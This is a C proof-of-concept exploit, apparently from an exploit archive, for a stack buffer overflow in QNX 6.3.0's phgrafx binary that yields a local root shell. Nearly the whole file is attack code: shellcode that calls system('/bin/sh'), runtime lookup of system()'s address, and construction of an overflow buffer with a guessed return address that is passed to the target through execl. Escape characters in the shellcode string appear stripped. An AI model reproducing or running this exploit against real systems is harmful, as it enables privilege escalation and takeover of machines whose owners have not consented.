QNX Realtime Operating System (RTOS) Buffer Overflow Local Root Exploit
/*
* minervini_at_neuralnoise.com (c) 2005, all rights reserved.
* sample exploit for phgrafx on QNX 6.3.0 x86
*
* tested on: QNX qnx 6.3.0 2004/04/29-21:23:19UTC x86pc x86
*/
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <unistd.h>
#include <err.h>
#ifndef _PATH
# define _PATH ("/usr/photon/bin/phgrafx")
#endif
#ifndef _RET_INIT
# define _RET_INIT (864)
#endif
/* thanks to my friend pi3 that suggested me to call a libc
* function to make the shellcode way shorter than it was */
char scode[] = "x31xc0" // xor %eax,%eax
"x50" // push %eax
"x68x2fx2fx73x68" // push $0x68732f2f
"x68x2fx62x69x6e" // push $0x6e69622f
"x54" // push %esp
"xbbxEFxBExADxDE" // mov $0xDEADBEEF,%ebx
"xffxd3"; // call *%ebx
unsigned long get_sp (void) {
__asm__ ("movl %esp, %eax");
}
int main (int argc, char **argv) {
int i, slen = strlen (scode), offset = 0;
long ptr, *lptr, addr;
char *buf;
void *handle;
handle = dlopen (NULL, RTLD_LAZY);
addr = (long) dlsym (handle, "system");
for (i = 0; i < 4; i++) {
char temp = (*((char *) &addr + i) & 0xff);
if (temp == 0x00 || temp == 0x09 || temp == 0x0a) {
puts
("currently system()'s address contains bytes like 0x00, 0x09 or 0x0a, so it probably
won't work since"
" the application seems to truncate those bytes. BTW you can rely on functions like
exec*(), spawn*()"
" or MsgSend*() to get this working.n"
"more at http://www.qnx.org/developers/docs/momentics621_docs/neutrino/lib_ref/");
return (-1);
}
}
memcpy((char *)&scode + 0xf, &addr, 4);
if (argc > 1)
offset = strtoul(argv[1], NULL, 0);
if (!(buf = (char *) malloc(1032)))
err(1, "malloc()");
memset(buf, 0, 1032);
for (i = 0; i < (_RET_INIT - slen); i++)
buf[i] = 'A'; // inc %ecx
printf("shellcode length: %dn", slen);
for (i = (_RET_INIT - slen); i < _RET_INIT; i++)
buf[i] = scode[i - (_RET_INIT - slen)];
lptr = (long *) (buf + _RET_INIT);
printf("address: 0x%lxn", ptr = (get_sp () - offset));
for (i = 0; i < ((1024 - _RET_INIT) / 4); i++)
*(lptr + i) = (int) ptr;
execl(_PATH, "phgrafx", buf, NULL);
return (0);
}